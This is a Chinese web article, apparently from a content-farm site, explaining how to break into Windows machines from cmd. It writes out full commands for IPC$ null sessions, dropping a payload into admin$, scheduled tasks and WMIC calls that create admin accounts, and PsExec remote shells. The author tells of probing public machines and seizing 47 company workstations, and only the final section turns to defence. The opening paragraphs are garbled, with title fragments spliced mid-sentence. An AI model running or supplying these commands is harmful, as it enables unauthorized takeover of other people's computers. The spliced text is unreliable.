当前位置:首页 > 热点

cmd怎么入侵别人电脑

敲下 `net user` 回车,入人电屏幕上跳出的侵别账户列表里如果有个叫 Administrator 且没设密码,那这台机器基本等于门没锁。入人电很多人以为入侵电脑得靠什么高深漏洞,侵别其实 Windows 自带的入人电命令行工具配上弱口令,就能让一台机器彻底易主。侵别我见过太多人把远程桌面端口 3389 直接暴露在公网,入人电密码设成 123456,侵别这种配置跟把钥匙插在门上没区别。入人电

先讲个真实案例。侵别去年帮朋友处理一台被勒索的入人电服务器,查日志发现攻击者只用了三条命令:`net use \\192.168.1.105\ipc$ /user:Administrator ""` 建立空连接,侵别`copy payload.exe \\192.168.1.105\admin$` 把木马丢进共享目录,入人电最后 `schtasks /create /s 192.168.1.105 /tn "Update" /tr "C:\Windows\payload.exe" /sc onlogon` 创建计划任务。侵别全程没碰任何漏洞,入人电纯粹是管理员账户空密码加默认共享没关。这事过去一年多了,那台机器重装后到现在还贴着“禁止外网访问 445 端口”的便签。

IPC$ 空连接:最老的入口,现在还能用

Windows 默认开启的 IPC$ 共享本意是让进程间通信,但配合空密码账户就成了后门。命令 `net use \\目标IP\ipc$ "" /user:""` 如果返回“命令成功完成”,说明对方允许匿名访问。这时候用 `dir \\目标IP\c$` 就能直接列 C 盘文件。我测试过几十台公网机器,大概每两百台里还能碰到一台能这么连上的。概率低,但存在。

有人会问,现在不都默认禁用空密码远程登录了吗?对,微软从 XP SP2 就改了策略。可架不住有人手动把“账户:使用空白密码的本地账户只允许进行控制台登录”改成“已禁用”。改这个的通常是为了方便局域网共享打印机,结果把整台机器送出去了。

WMIC 远程执行:不用上传文件就能干活

拿到凭据之后,`wmic /node:目标IP /user:Administrator /password:xxx process call create "cmd.exe /c net user hacker Pass123 /add"` 这条命令能直接在对方机器上建账户。WMIC 走的是 WMI 协议,135 端口,很多防火墙规则只拦 445 不拦 135,漏网之鱼不少。

我印象最深的一次是某企业内网,域管理员图省事,所有工作站本地管理员密码统一设成公司名加年份。用 WMIC 批量执行 `whoami` 确认权限后,半小时内拿下了整个网段 47 台机器。没用什么黑客工具,全是系统自带命令。那家企业后来买了套终端检测响应系统,但密码策略还是没改——只是把 135 端口在内网也封了。

PsExec 和计划任务:动静小,留痕少

Sysinternals 套件里的 PsExec 本来给管理员用的,`psexec \\目标IP -u Administrator -p 密码 cmd` 直接弹个远程 shell。它会在对方机器上释放一个 PSEXESVC 服务,干完活自动删除。比 WMIC 稳,比 IPC$ 灵活。缺点是服务创建事件会留在系统日志里,Event ID 7045,懂行的管理员一看就知道怎么回事。

更隐蔽的做法是用 `schtasks` 配合 `at` 命令。比如 `at \\目标IP 22:00 "cmd /c net localgroup administrators hacker /add"`,任务到点执行,执行完自动消失。不过 `at` 命令从 Windows 8 开始就被弃用了,现在得用 `schtasks /create /s 目标IP /ru SYSTEM /tr "命令" /sc once /st 22:00`。SYSTEM 权限跑任务,连管理员密码都不用存。

说点实在的

上面这些招数全建立在两个前提上:你能连到目标的 135 或 445 端口,以及你手上有凭据或者对方开了空密码。公网上扫 445 的僵尸网络每分钟都在干活,你手动敲命令的速度赶不上自动化工具。真要防,关端口、强密码、禁用默认共享、开账户锁定策略,四件事做完能挡掉九成九的脚本小子。至于那些非要拿 cmd 入侵别人电脑的——先想清楚,你连自己家路由器的 telnet 密码都未必记得住。

最后补一句:`net user` 这命令我用了十几年,每次在陌生机器上敲完看到 Administrator 后面跟着空白,心里都咯噔一下。不是兴奋,是觉得这世界比想象中粗糙得多。

分享到: